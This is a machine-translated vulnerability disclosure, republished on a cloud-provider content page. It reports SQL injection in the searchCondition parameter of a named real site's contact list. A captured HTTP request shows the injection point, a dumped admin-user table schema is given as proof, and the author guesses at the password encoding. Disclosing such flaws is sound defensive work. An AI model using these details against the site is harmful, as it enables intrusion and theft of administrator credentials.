SQL injection vulnerability in a third-party sub-station in China

Source: Internet
Author: User

SQL injection vulnerability in a third-party sub-station in China

Network disconnection ...... Not going deep. Just repair it ~

Detailed description:

After registering a user, you can add a contact and then search for the injection. The packet capture is as follows:

GET/contact/list? SearchCondition = 1 HTTP/1.1

Host: agent.sfn.cn

Proxy-Connection: keep-alive

Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, image/webp, */*; q = 0.8

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

Referer: http://agent.sfn.cn/contact/list? SearchCondition = 1

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN, zh; q = 0.8

Cookie: the COOKIE is omitted.

Then we can inject:

Proof of vulnerability:

Database: sanfront

Table: adminUser

[11 columns]

+ ------------ + -------------- +

| Column | Type |

+ ------------ + -------------- +

| Company | varchar (100) |

| Department | int (11) |

| Email | varchar (40) |

| EntryDate | datetime |

| Id | int (10) |

| IsAudit | int (1) |

| Password | varchar (35) |

| Phone | varchar (20) |

| RealName | varchar (6) |

| Username | varchar (100) |

| WorkPhone | varchar (20) |

+ ------------ + -------------- +

Just note the following:

I guess the password is Base64-encrypted md5 bytes ...... =

Solution:

Just filter it out!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.